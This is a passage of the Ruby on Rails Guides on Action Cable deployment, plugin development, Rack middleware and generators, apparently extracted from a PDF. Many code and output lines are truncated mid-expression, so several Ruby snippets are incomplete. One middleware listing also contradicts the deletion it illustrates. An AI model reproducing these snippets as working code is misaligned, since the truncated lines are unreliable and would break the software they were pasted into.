database connections as you have workers. The default worker pool size is
set to 100, so that means you have to make at least that available. You can
change that in config/database.yml through the pool attribute.

8 Running Standalone Cable Servers

8.1 In App
Action Cable can run alongside your Rails application. For example, to
listen for WebSocket requests on /websocket, specify that path to
config.action_cable.mount_path:
# config/application.rb
class Application < Rails::Application
config.action_cable.mount_path = '/websocket'
end

You can use App.cable = ActionCable.createConsumer() to connect to

the cable server if action_cable_meta_tag is invoked in the layout. A
custom path is specified as first argument to createConsumer (e.g.
App.cable = ActionCable.createConsumer("/websocket")).
For every instance of your server you create and for every worker your
server spawns, you will also have a new instance of Action Cable, but the
use of Redis keeps messages synced across connections.
8.2 Standalone
The cable servers can be separated from your normal application server.
It's still a Rack application, but it is its own Rack application. The
recommended basic setup is as follows:
# cable/config.ru
require_relative 'config/environment'
Rails.application.eager_load!
run ActionCable.server

Then you start the server using a binstub in bin/cable ala:

#!/bin/bash
bundle exec puma -p 28080 cable/config.ru

The above will start a cable server on port 28080.

8.3 Notes
The WebSocket server doesn't have access to the session, but it has access
to the cookies. This can be used when you need to handle authentication.
You can see one way of doing that with Devise in this article.

9 Dependencies
Action Cable provides a subscription adapter interface to process its
pubsub internals. By default, asynchronous, inline, PostgreSQL, evented
Redis, and non-evented Redis adapters are included. The default adapter in
new Rails applications is the asynchronous (async) adapter.
The Ruby side of things is built on top of websocket-driver, nio4r, and
concurrent-ruby.

10 Deployment
Action Cable is powered by a combination of WebSockets and threads.
Both the framework plumbing and user-specified channel work are
handled internally by utilizing Ruby's native thread support. This means
you can use all your regular Rails models with no problem, as long as you
haven't committed any thread-safety sins.
The Action Cable server implements the Rack socket hijacking API,
thereby allowing the use of a multithreaded pattern for managing
connections internally, irrespective of whether the application server is
multi-threaded or not.
Accordingly, Action Cable works with popular servers like Unicorn,
Puma, and Passenger.

The Basics of Creating Rails

Plugins ...

1 Setup
Currently, Rails plugins are built as gems, gemified plugins. They can be
shared across different rails applications using RubyGems and Bundler if
desired.
1.1 Generate a gemified plugin.
Rails ships with a rails plugin new command which creates a skeleton
for developing any kind of Rails extension with the ability to run
integration tests using a dummy Rails application. Create your plugin with
the command:
$ rails plugin new yaffle

See usage and options by asking for help:

$ rails plugin new --help

2 Testing Your Newly Generated Plugin

You can navigate to the directory that contains the plugin, run the bundle
install command and run the one generated test using the bin/test
command.
You should see:
1 runs, 1 assertions, 0 failures, 0 errors, 0 skips

This will tell you that everything got generated properly and you are ready
to start adding functionality.

3 Extending Core Classes

This section will explain how to add a method to String that will be
available anywhere in your rails application.
In this example you will add a method to String named to_squawk. To
begin, create a new test file with a few assertions:
# yaffle/test/core_ext_test.rb
require 'test_helper'
class CoreExtTest < ActiveSupport::TestCase
def test_to_squawk_prepends_the_word_squawk
assert_equal "squawk! Hello World", "Hello World".to_squawk
end
end

Run bin/test to run the test. This test should fail because we haven't
implemented the to_squawk method:
E

Error:
CoreExtTest#test_to_squawk_prepends_the_word_squawk:
NoMethodError: undefined method `to_squawk' for "Hello World":St

bin/test /path/to/yaffle/test/core_ext_test.rb:4
.
Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s.
2 runs, 1 assertions, 0 failures, 1 errors, 0 skips

Great - now you are ready to start development.

In lib/yaffle.rb, add require 'yaffle/core_ext':

# yaffle/lib/yaffle.rb
require 'yaffle/core_ext'
module Yaffle
end

Finally, create the core_ext.rb file and add the to_squawk method:
# yaffle/lib/yaffle/core_ext.rb
String.class_eval do
def to_squawk
"squawk! #{self}".strip
end
end

To test that your method does what it says it does, run the unit tests with
bin/test from your plugin directory.
2 runs, 2 assertions, 0 failures, 0 errors, 0 skips

To see this in action, change to the test/dummy directory, fire up a console

and start squawking:
$ bin/rails console
>> "Hello World".to_squawk
=> "squawk! Hello World"

4 Add an "acts_as" Method to Active Record

A common pattern in plugins is to add a method called
acts_as_something to models. In this case, you want to write a method
called acts_as_yaffle that adds a squawk method to your Active Record
models.
To begin, set up your files so that you have:
# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'
class ActsAsYaffleTest < ActiveSupport::TestCase
end
# yaffle/lib/yaffle.rb
require 'yaffle/core_ext'
require 'yaffle/acts_as_yaffle'
module Yaffle
end
# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
module ActsAsYaffle
# your code will go here
end
end

4.1 Add a Class Method

This plugin will expect that you've added a method to your model named
last_squawk. However, the plugin users might have already defined a

method on their model named last_squawk that they use for something
else. This plugin will allow the name to be changed by adding a class
method called yaffle_text_field.
To start out, write a failing test that shows the behavior you'd like:
# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'
class ActsAsYaffleTest < ActiveSupport::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
assert_equal "last_squawk", Hickwall.yaffle_text_field
end
def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
assert_equal "last_tweet", Wickwall.yaffle_text_field
end
end

When you run bin/test, you should see the following:

# Running:
..E

Error:
ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_la
NameError: uninitialized constant ActsAsYaffleTest::Wickwall

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8
E

Error:
ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_la
NameError: uninitialized constant ActsAsYaffleTest::Hickwall

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4

Finished in 0.004812s, 831.2949 runs/s, 415.6475 assertions/s.

4 runs, 2 assertions, 0 failures, 2 errors, 0 skips

This tells us that we don't have the necessary models (Hickwall and
Wickwall) that we are trying to test. We can easily generate these models
in our "dummy" Rails application by running the following commands
from the test/dummy directory:

$ cd test/dummy
$ bin/rails generate model Hickwall last_squawk:string
$ bin/rails generate model Wickwall last_squawk:string last_twee

Now you can create the necessary database tables in your testing database
by navigating to your dummy app and migrating the database. First, run:
$ cd test/dummy
$ bin/rails db:migrate

While you are here, change the Hickwall and Wickwall models so that
they know that they are supposed to act like yaffles.
# test/dummy/app/models/hickwall.rb
class Hickwall < ApplicationRecord
acts_as_yaffle
end
# test/dummy/app/models/wickwall.rb
class Wickwall < ApplicationRecord
acts_as_yaffle yaffle_text_field: :last_tweet
end

We will also add code to define the acts_as_yaffle method.

# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
module ActsAsYaffle
extend ActiveSupport::Concern
included do
end
module ClassMethods
def acts_as_yaffle(options = {})
# your code will go here
end
end
end
end
# test/dummy/app/models/application_record.rb
class ApplicationRecord < ActiveRecord::Base
include Yaffle::ActsAsYaffle
self.abstract_class = true
end

You can then return to the root directory (cd ../..) of your plugin and
rerun the tests using bin/test.
# Running:
.E

Error:
ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_la
NoMethodError: undefined method `yaffle_text_field' for #<Class:

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4
E

Error:
ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_la
NoMethodError: undefined method `yaffle_text_field' for #<Class:

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8
.
Finished in 0.008263s, 484.0999 runs/s, 242.0500 assertions/s.
4 runs, 2 assertions, 0 failures, 2 errors, 0 skips

Getting closer... Now we will implement the code of the acts_as_yaffle

method to make the tests pass.
# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
module ActsAsYaffle
extend ActiveSupport::Concern
included do
end

module ClassMethods
def acts_as_yaffle(options = {})
cattr_accessor :yaffle_text_field
self.yaffle_text_field = (options[:yaffle_text_field] ||
end
end
end
end
# test/dummy/app/models/application_record.rb
class ApplicationRecord < ActiveRecord::Base

include Yaffle::ActsAsYaffle
self.abstract_class = true
end

When you run bin/test, you should see the tests all pass:
4 runs, 4 assertions, 0 failures, 0 errors, 0 skips

4.2 Add an Instance Method

This plugin will add a method named 'squawk' to any Active Record object
that calls 'acts_as_yaffle'. The 'squawk' method will simply set the value of
one of the fields in the database.
To start out, write a failing test that shows the behavior you'd like:
# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'
class ActsAsYaffleTest < ActiveSupport::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
assert_equal "last_squawk", Hickwall.yaffle_text_field
end
def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
assert_equal "last_tweet", Wickwall.yaffle_text_field
end
def test_hickwalls_squawk_should_populate_last_squawk
hickwall = Hickwall.new
hickwall.squawk("Hello World")
assert_equal "squawk! Hello World", hickwall.last_squawk
end
def test_wickwalls_squawk_should_populate_last_tweet
wickwall = Wickwall.new
wickwall.squawk("Hello World")

assert_equal "squawk! Hello World", wickwall.last_tweet

end
end

Run the test to make sure the last two tests fail with an error that contains
"NoMethodError: undefined method `squawk'", then update
'acts_as_yaffle.rb' to look like this:
# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
module ActsAsYaffle
extend ActiveSupport::Concern
included do
end

module ClassMethods
def acts_as_yaffle(options = {})
cattr_accessor :yaffle_text_field
self.yaffle_text_field = (options[:yaffle_text_field] ||
include Yaffle::ActsAsYaffle::LocalInstanceMethods
end
end

module LocalInstanceMethods
def squawk(string)
write_attribute(self.class.yaffle_text_field, string.to_
end
end
end
end
# test/dummy/app/models/application_record.rb
class ApplicationRecord < ActiveRecord::Base
include Yaffle::ActsAsYaffle
self.abstract_class = true
end

Run bin/test one final time and you should see:

6 runs, 6 assertions, 0 failures, 0 errors, 0 skips

The use of write_attribute to write to the field in model is just one

example of how a plugin can interact with the model, and will not always
be the right method to use. For example, you could also use:
send("#{self.class.yaffle_text_field}=", string.to_squawk)

5 Generators
Generators can be included in your gem simply by creating them in a
lib/generators directory of your plugin. More information about the
creation of generators can be found in the Generators Guide

6 Publishing Your Gem

Gem plugins currently in development can easily be shared from any Git
repository. To share the Yaffle gem with others, simply commit the code
to a Git repository (like GitHub) and add a line to the Gemfile of the
application in question:
gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'

After running bundle install, your gem functionality will be available to

the application.
When the gem is ready to be shared as a formal release, it can be published
to RubyGems. For more information about publishing gems to RubyGems,
see: Creating and Publishing Your First Ruby Gem.

7 RDoc Documentation
Once your plugin is stable and you are ready to deploy, do everyone else a
favor and document it! Luckily, writing documentation for your plugin is
easy.
The first step is to update the README file with detailed information
about how to use your plugin. A few key things to include are:
Your name
How to install
How to add the functionality to the app (several examples of common
use cases)
Warnings, gotchas or tips that might help users and save them time
Once your README is solid, go through and add rdoc comments to all of
the methods that developers will use. It's also customary to add '#:nodoc:'
comments to those parts of the code that are not included in the public
API.
Once your comments are good to go, navigate to your plugin directory and
run:
$ bundle exec rake rdoc

7.1 References
Developing a RubyGem using Bundler
Using .gemspecs as Intended
Gemspec Reference

Rails on Rack Ruby on Rails

Guides

1 Introduction to Rack
Rack provides a minimal, modular and adaptable interface for developing
web applications in Ruby. By wrapping HTTP requests and responses in
the simplest way possible, it unifies and distills the API for web servers,
web frameworks, and software in between (the so-called middleware) into
a single method call.
Rack API Documentation
Explaining Rack is not really in the scope of this guide. In case you are not
familiar with Rack's basics, you should check out the Resources section
below.

2 Rails on Rack
2.1 Rails Application's Rack Object
Rails.application is the primary Rack application object of a Rails

application. Any Rack compliant web server should be using

Rails.application object to serve a Rails application.
2.2 rails server
rails server does the basic job of creating a Rack::Server object and

starting the webserver.

Here's how rails server creates an instance of Rack::Server
Rails::Server.new.tap do |server|
require APP_PATH
Dir.chdir(Rails.application.root)
server.start
end

The Rails::Server inherits from Rack::Server and calls the

Rack::Server#start method this way:
class Server < ::Rack::Server
def start
...
super
end
end

2.3 rackup
To use rackup instead of Rails' rails server, you can put the following

inside config.ru of your Rails application's root directory:

# Rails.root/config.ru
require ::File.expand_path('../config/environment', __FILE__)
run Rails.application

And start the server:

$ rackup config.ru

To find out more about different rackup options:

$ rackup --help

2.4 Development and auto-reloading

Middlewares are loaded once and are not monitored for changes. You will
have to restart the server for changes to be reflected in the running
application.

3 Action Dispatcher Middleware Stack

Many of Action Dispatcher's internal components are implemented as
Rack middlewares. Rails::Application uses
ActionDispatch::MiddlewareStack to combine various internal and
external middlewares to form a complete Rails Rack application.
ActionDispatch::MiddlewareStack is Rails equivalent of
Rack::Builder, but built for better flexibility and more features to meet

Rails' requirements.
3.1 Inspecting Middleware Stack
Rails has a handy task for inspecting the middleware stack in use:
$ bin/rails middleware

For a freshly generated Rails application, this might produce something

like:

use Rack::Sendfile
use ActionDispatch::Static
use ActionDispatch::Executor
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x0
use Rack::Runtime
use Rack::MethodOverride
use ActionDispatch::RequestId
use Rails::Rack::Logger
use ActionDispatch::ShowExceptions
use ActionDispatch::DebugExceptions
use ActionDispatch::RemoteIp
use ActionDispatch::Reloader
use ActionDispatch::Callbacks
use ActiveRecord::Migration::CheckPending
use ActiveRecord::ConnectionAdapters::ConnectionManagement
use ActiveRecord::QueryCache
use ActionDispatch::Cookies

use ActionDispatch::Session::CookieStore
use ActionDispatch::Flash
use Rack::Head
use Rack::ConditionalGet
use Rack::ETag
run Rails.application.routes

The default middlewares shown here (and some others) are each
summarized in the Internal Middlewares section, below.
3.2 Configuring Middleware Stack
Rails provides a simple configuration interface config.middleware for
adding, removing and modifying the middlewares in the middleware stack
via application.rb or the environment specific configuration file
environments/<environment>.rb.
3.2.1 Adding a Middleware

You can add a new middleware to the middleware stack using any of the
following methods:
config.middleware.use(new_middleware, args) - Adds the new

middleware at the bottom of the middleware stack.

config.middleware.insert_before(existing_middleware,
new_middleware, args) - Adds the new middleware before the

specified existing middleware in the middleware stack.

config.middleware.insert_after(existing_middleware,
new_middleware, args) - Adds the new middleware after the

specified existing middleware in the middleware stack.

# config/application.rb
# Push Rack::BounceFavicon at the bottom
config.middleware.use Rack::BounceFavicon

# Add Lifo::Cache after ActiveRecord::QueryCache.

# Pass { page_cache: false } argument to Lifo::Cache.
config.middleware.insert_after ActiveRecord::QueryCache, Lifo::C
3.2.2 Swapping a Middleware

You can swap an existing middleware in the middleware stack using

config.middleware.swap.
# config/application.rb

# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptio

config.middleware.swap ActionDispatch::ShowExceptions, Lifo::Sho
3.2.3 Deleting a Middleware

Add the following lines to your application configuration:

# config/application.rb
config.middleware.delete Rack::Runtime

And now if you inspect the middleware stack, you'll find that
Rack::Runtime is not a part of it.

$ bin/rails middleware
(in /Users/lifo/Rails/blog)
use ActionDispatch::Static
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x0
use Rack::Runtime
...
run Rails.application.routes

If you want to remove session related middleware, do the following:

# config/application.rb
config.middleware.delete ActionDispatch::Cookies

config.middleware.delete ActionDispatch::Session::CookieStore
config.middleware.delete ActionDispatch::Flash

And to remove browser related middleware,

# config/application.rb
config.middleware.delete Rack::MethodOverride

3.3 Internal Middleware Stack

Much of Action Controller's functionality is implemented as Middlewares.
The following list explains the purpose of each of them:
Rack::Sendfile

Sets server specific X-Sendfile header. Configure this via

config.action_dispatch.x_sendfile_header option.
ActionDispatch::Static

Used to serve static files from the public directory. Disabled if

config.public_file_server.enabled is false.
Rack::Lock

Sets env["rack.multithread"] flag to false and wraps the

application within a Mutex.
ActionDispatch::Executor

Used for thread safe code reloading during development.

ActiveSupport::Cache::Strategy::LocalCache::Middleware

Used for memory caching. This cache is not thread safe.

Rack::Runtime

Sets an X-Runtime header, containing the time (in seconds) taken to

execute the request.
Rack::MethodOverride

Allows the method to be overridden if params[:_method] is set. This

is the middleware which supports the PUT and DELETE HTTP
method types.
ActionDispatch::RequestId

Makes a unique X-Request-Id header available to the response and

enables the ActionDispatch::Request#request_id method.
Rails::Rack::Logger

Notifies the logs that the request has began. After request is complete,
flushes all the logs.
ActionDispatch::ShowExceptions

Rescues any exception returned by the application and calls an

exceptions app that will wrap it in a format for the end user.
ActionDispatch::DebugExceptions

Responsible for logging exceptions and showing a debugging page in

case the request is local.
ActionDispatch::RemoteIp

Checks for IP spoofing attacks.

ActionDispatch::Reloader

Provides prepare and cleanup callbacks, intended to assist with code

reloading during development.
ActionDispatch::Callbacks

Provides callbacks to be executed before and after dispatching the

request.
ActiveRecord::Migration::CheckPending

Checks pending migrations and raises

ActiveRecord::PendingMigrationError if any migrations are

pending.
ActiveRecord::ConnectionAdapters::ConnectionManagement

Cleans active connections after each request, unless the rack.test

key in the request environment is set to true.
ActiveRecord::QueryCache

Enables the Active Record query cache.

ActionDispatch::Cookies

Sets cookies for the request.

ActionDispatch::Session::CookieStore

Responsible for storing the session in cookies.

ActionDispatch::Flash

Sets up the flash keys. Only available if

config.action_controller.session_store is set to a value.
Rack::Head

Converts HEAD requests to GET requests and serves them as so.

Rack::ConditionalGet

Adds support for "Conditional GET" so that server responds with

nothing if page wasn't changed.
Rack::ETag

Adds ETag header on all String bodies. ETags are used to validate
cache.
It's possible to use any of the above middlewares in your custom Rack
stack.

4 Resources
4.1 Learning Rack
Official Rack Website
Introducing Rack
4.2 Understanding Middlewares
Railscast on Rack Middlewares

Creating and Customizing Rails...

1 First Contact
When you create an application using the rails command, you are in fact
using a Rails generator. After that, you can get a list of all available
generators by just invoking rails generate:
$ rails new myapp
$ cd myapp
$ bin/rails generate

You will get a list of all generators that comes with Rails. If you need a
detailed description of the helper generator, for example, you can simply
do:
$ bin/rails generate helper --help

2 Creating Your First Generator

Since Rails 3.0, generators are built on top of Thor. Thor provides
powerful options for parsing and a great API for manipulating files. For
instance, let's build a generator that creates an initializer file named
initializer.rb inside config/initializers.
The first step is to create a file at
lib/generators/initializer_generator.rb with the following content:

class InitializerGenerator < Rails::Generators::Base

def create_initializer_file
create_file "config/initializers/initializer.rb", "# Add ini
end
end

create_file is a method provided by Thor::Actions. Documentation for

create_file and other Thor methods can be found in Thor's

documentation
Our new generator is quite simple: it inherits from
Rails::Generators::Base and has one method definition. When a
generator is invoked, each public method in the generator is executed
sequentially in the order that it is defined. Finally, we invoke the
create_file method that will create a file at the given destination with the
given content. If you are familiar with the Rails Application Templates
API, you'll feel right at home with the new generators API.
To invoke our new generator, we just need to do:
$ bin/rails generate initializer

Before we go on, let's see our brand new generator description:

$ bin/rails generate initializer --help

Rails is usually able to generate good descriptions if a generator is

namespaced, as ActiveRecord::Generators::ModelGenerator, but not in
this particular case. We can solve this problem in two ways. The first one
is calling desc inside our generator:

class InitializerGenerator < Rails::Generators::Base

desc "This generator creates an initializer file at config/ini
def create_initializer_file
create_file "config/initializers/initializer.rb", "# Add ini
end
end

Now we can see the new description by invoking --help on the new
generator. The second way to add a description is by creating a file named
USAGE in the same directory as our generator. We are going to do that in
the next step.

3 Creating Generators with Generators

Generators themselves have a generator:

$ bin/rails generate generator initializer

create lib/generators/initializer
create lib/generators/initializer/initializer_generator.r
create lib/generators/initializer/USAGE
create lib/generators/initializer/templates

This is the generator just created:

class InitializerGenerator < Rails::Generators::NamedBase
source_root File.expand_path("../templates", __FILE__)
end

First, notice that we are inheriting from Rails::Generators::NamedBase

instead of Rails::Generators::Base. This means that our generator
expects at least one argument, which will be the name of the initializer,
and will be available in our code in the variable name.
We can see that by invoking the description of this new generator (don't
forget to delete the old generator file):
$ bin/rails generate initializer --help
Usage:
rails generate initializer NAME [options]

We can also see that our new generator has a class method called
source_root. This method points to where our generator templates will be
placed, if any, and by default it points to the created directory
lib/generators/initializer/templates.
In order to understand what a generator template means, let's create the file

lib/generators/initializer/templates/initializer.rb with the

following content:
# Add initialization content here

And now let's change the generator to copy this template when invoked:
class InitializerGenerator < Rails::Generators::NamedBase
source_root File.expand_path("../templates", __FILE__)

def copy_initializer_file
copy_file "initializer.rb", "config/initializers/#{file_name
end
end

And let's execute our generator:

$ bin/rails generate initializer core_extensions

We can see that now an initializer named core_extensions was created at

config/initializers/core_extensions.rb with the contents of our
template. That means that copy_file copied a file in our source root to the
destination path we gave. The method file_name is automatically created
when we inherit from Rails::Generators::NamedBase.
The methods that are available for generators are covered in the final
section of this guide.

4 Generators Lookup
When you run rails generate initializer core_extensions Rails
requires these files in turn until one is found:
rails/generators/initializer/initializer_generator.rb
generators/initializer/initializer_generator.rb
rails/generators/initializer_generator.rb
generators/initializer_generator.rb

If none is found you get an error message.

The examples above put files under the application's lib because said
directory belongs to $LOAD_PATH.

5 Customizing Your Workflow

Rails own generators are flexible enough to let you customize scaffolding.
They can be configured in config/application.rb, these are some
defaults:
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, fixture: true
end

Before we customize our workflow, let's first see what our scaffold looks
like:
$ bin/rails generate scaffold User name:string
invoke active_record
create db/migrate/20130924151154_create_users.rb
create app/models/user.rb
invoke test_unit
create test/models/user_test.rb
create test/fixtures/users.yml
invoke resource_route
route resources :users
invoke scaffold_controller
create app/controllers/users_controller.rb
invoke erb
create app/views/users
create app/views/users/index.html.erb
create app/views/users/edit.html.erb
create app/views/users/show.html.erb
create app/views/users/new.html.erb
create app/views/users/_form.html.erb
invoke test_unit
create test/controllers/users_controller_test.rb
invoke helper
create app/helpers/users_helper.rb
invoke jbuilder
create app/views/users/index.json.jbuilder

create app/views/users/show.json.jbuilder
invoke assets
invoke coffee
create app/assets/javascripts/users.coffee
invoke scss
create app/assets/stylesheets/users.scss
invoke scss
create app/assets/stylesheets/scaffolds.scss

Looking at this output, it's easy to understand how generators work in

Rails 3.0 and above. The scaffold generator doesn't actually generate
anything, it just invokes others to do the work. This allows us to
add/replace/remove any of those invocations. For instance, the scaffold
generator invokes the scaffold_controller generator, which invokes erb,
test_unit and helper generators. Since each generator has a single
responsibility, they are easy to reuse, avoiding code duplication.
Our first customization on the workflow will be to stop generating
stylesheet, JavaScript and test fixture files for scaffolds. We can achieve
that by changing our configuration to the following:
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, fixture: false
g.stylesheets false
g.javascripts false
end

If we generate another resource with the scaffold generator, we can see

that stylesheet, JavaScript and fixture files are not created anymore. If you
want to customize it further, for example to use DataMapper and RSpec
instead of Active Record and TestUnit, it's just a matter of adding their
gems to your application and configuring your generators.
To demonstrate this, we are going to create a new helper generator that

simply adds some instance variable readers. First, we create a generator

within the rails namespace, as this is where rails searches for generators
used as hooks:

$ bin/rails generate generator rails/my_helper

create lib/generators/rails/my_helper
create lib/generators/rails/my_helper/my_helper_generator
create lib/generators/rails/my_helper/USAGE
create lib/generators/rails/my_helper/templates

After that, we can delete both the templates directory and the
source_root class method call from our new generator, because we are
not going to need them. Add the method below, so our generator looks like
the following:
# lib/generators/rails/my_helper/my_helper_generator.rb
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
module #{class_name}Helper
attr_reader :#{plural_name}, :#{plural_name.singularize}
end
FILE
end
end

We can try out our new generator by creating a helper for products:
$ bin/rails generate my_helper products
create app/helpers/products_helper.rb

And it will generate the following helper file in app/helpers:

module ProductsHelper
attr_reader :products, :product
end

Which is what we expected. We can now tell scaffold to use our new
helper generator by editing config/application.rb once again:
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, fixture: false
g.stylesheets false
g.javascripts false
g.helper :my_helper
end

and see it in action when invoking the generator:

$ bin/rails generate scaffold Article body:text
[...]
invoke my_helper
create app/helpers/articles_helper.rb

We can notice on the output that our new helper was invoked instead of
the Rails default. However one thing is missing, which is tests for our new
generator and to do that, we are going to reuse old helpers test generators.
Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper
does not need to be focused in one specific test framework, it can simply
provide a hook and a test framework just needs to implement this hook in
order to be compatible.
To do that, we can change the generator this way:
# lib/generators/rails/my_helper/my_helper_generator.rb
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
module #{class_name}Helper
attr_reader :#{plural_name}, :#{plural_name.singularize}
end

FILE
end
hook_for :test_framework
end

Now, when the helper generator is invoked and TestUnit is configured as

the test framework, it will try to invoke both Rails::TestUnitGenerator
and TestUnit::MyHelperGenerator. Since none of those are defined, we
can tell our generator to invoke
TestUnit::Generators::HelperGenerator instead, which is defined
since it's a Rails generator. To do that, we just need to add:
# Search for :helper instead of :my_helper
hook_for :test_framework, as: :helper

And now you can re-run scaffold for another resource and see it generating
tests as well!

6 Customizing Your Workflow by Changing Generators

Templates
In the step above we simply wanted to add a line to the generated helper,
without adding any extra functionality. There is a simpler way to do that,
and it's by replacing the templates of already existing generators, in that
case Rails::Generators::HelperGenerator.
In Rails 3.0 and above, generators don't just look in the source root for
templates, they also search for templates in other paths. And one of them is
lib/templates. Since we want to customize
Rails::Generators::HelperGenerator, we can do that by simply making
a template copy inside lib/templates/rails/helper with the name
helper.rb. So let's create that file with the following content:

module <%= class_name %>Helper

attr_reader :<%= plural_name %>, :<%= plural_name.singularize
end

and revert the last change in config/application.rb:

config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, fixture: false
g.stylesheets false
g.javascripts false
end

If you generate another resource, you can see that we get exactly the same
result! This is useful if you want to customize your scaffold templates
and/or layout by just creating edit.html.erb, index.html.erb and so on
inside lib/templates/erb/scaffold.
Scaffold templates in Rails frequently use ERB tags; these tags need to be

escaped so that the generated output is valid ERB code.

For example, the following escaped ERB tag would be needed in the
template (note the extra %)...
<%%= stylesheet_include_tag :application %>

...to generate the following output:

<%= stylesheet_include_tag :application %>

7 Adding Generators Fallbacks

One last feature about generators which is quite useful for plugin
generators is fallbacks. For example, imagine that you want to add a
feature on top of TestUnit like shoulda does. Since TestUnit already
implements all generators required by Rails and shoulda just wants to
overwrite part of it, there is no need for shoulda to reimplement some
generators again, it can simply tell Rails to use a TestUnit generator if
none was found under the Shoulda namespace.
We can easily simulate this behavior by changing our
config/application.rb once again:
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :shoulda, fixture: false
g.stylesheets false
g.javascripts false
# Add a fallback!
g.fallbacks[:shoulda] = :test_unit
end

Now, if you create a Comment scaffold, you will see that the shoulda
generators are being invoked, and at the end, they are just falling back to
TestUnit generators:
$ bin/rails generate scaffold Comment body:text
invoke active_record
create db/migrate/20130924143118_create_comments.rb
create app/models/comment.rb
invoke shoulda
create test/models/comment_test.rb
create test/fixtures/comments.yml
invoke resource_route
route resources :comments

invoke scaffold_controller
create app/controllers/comments_controller.rb
invoke erb
create app/views/comments
create app/views/comments/index.html.erb
create app/views/comments/edit.html.erb
create app/views/comments/show.html.erb
create app/views/comments/new.html.erb
create app/views/comments/_form.html.erb
invoke shoulda
create test/controllers/comments_controller_test.rb
invoke my_helper
create app/helpers/comments_helper.rb
invoke jbuilder
create app/views/comments/index.json.jbuilder
create app/views/comments/show.json.jbuilder
invoke assets
invoke coffee
create app/assets/javascripts/comments.coffee
invoke scss

Fallbacks allow your generators to have a single responsibility, increasing

code reuse and reducing the amount of duplication.

8 Application Templates
Now that you've seen how generators can be used inside an application,
did you know they can also be used to generate applications too? This
kind of generator is referred as a "template". This is a brief overview of the
Templates API. For detailed documentation see the Rails Application
Templates guide.
gem "rspec-rails", group: "test"
gem "cucumber-rails", group: "test"

if yes?("Would you like to install Devise?")

gem "devise"
generate "devise:install"
model_name = ask("What would you like the user model to be cal
model_name = "user" if model_name.blank?
generate "devise", model_name
end

In the above template we specify that the application relies on the rspecrails and cucumber-rails gem so these two will be added to the test
group in the Gemfile. Then we pose a question to the user about whether
or not they would like to install Devise. If the user replies "y" or "yes" to
this question, then the template will add Devise to the Gemfile outside of
any group and then runs the devise:install generator. This template then
takes the users input and runs the devise generator, with the user's answer
from the last question being passed to this generator.
Imagine that this template was in a file called template.rb. We can use it
to modify the outcome of the rails new command by using the -m option
and passing in the filename:
$ rails new thud -m template.rb

This command will generate the Thud application, and then apply the

template to the generated output.

Templates don't have to be stored on the local system, the -m option also
supports online templates:
$ rails new thud -m https://gist.github.com/radar/722911/raw/

Whilst the final section of this guide doesn't cover how to generate the
most awesome template known to man, it will take you through the
methods available at your disposal so that you can develop it yourself.
These same methods are also available for generators.

9 Generator methods
The following are methods available for both generators and templates for
Rails.
Methods provided by Thor are not covered this guide and can be found in
Thor's documentation
9.1 gem
Specifies a gem dependency of the application.
gem "rspec", group: "test", version: "2.1.0"
gem "devise", "1.1.5"

Available options are:

:group - The group in the Gemfile where this gem should go.
:version - The version string of the gem you want to use. Can also

be specified as the second argument to the method.

:git - The URL to the git repository for this gem.
Any additional options passed to this method are put on the end of the line:

gem "devise", git: "git://github.com/plataformatec/devise", bran

The above code will put the following line into Gemfile:

gem "devise", git: "git://github.com/plataformatec/devise", bran

9.2 gem_group
Wraps gem entries inside a group:

gem_group :development, :test do

gem "rspec-rails"
end

9.3 add_source
Adds a specified source to Gemfile:
add_source "http://gems.github.com"

This method also takes a block:

add_source "http://gems.github.com" do
gem "rspec-rails"
end

9.4 inject_into_file
Injects a block of code into a defined position in your file.

inject_into_file 'name_of_file.rb', after: "#The code goes below

puts "Hello World"
RUBY
end

9.5 gsub_file
Replaces text inside a file.

gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.th

Regular Expressions can be used to make this method more precise. You
can also use append_file and prepend_file in the same way to place

code at the beginning and end of a file respectively.

9.6 application
Adds a line to config/application.rb directly after the application class
definition.
application "config.asset_host = 'http://example.com'"

This method can also take a block:

application do
"config.asset_host = 'http://example.com'"
end

Available options are:

:env - Specify an environment for this configuration option. If you

wish to use this option with the block syntax the recommended syntax
is as follows:
application(nil, env: "development") do
"config.asset_host = 'http://localhost:3000'"
end

9.7 git
Runs the specified git command:
git :init
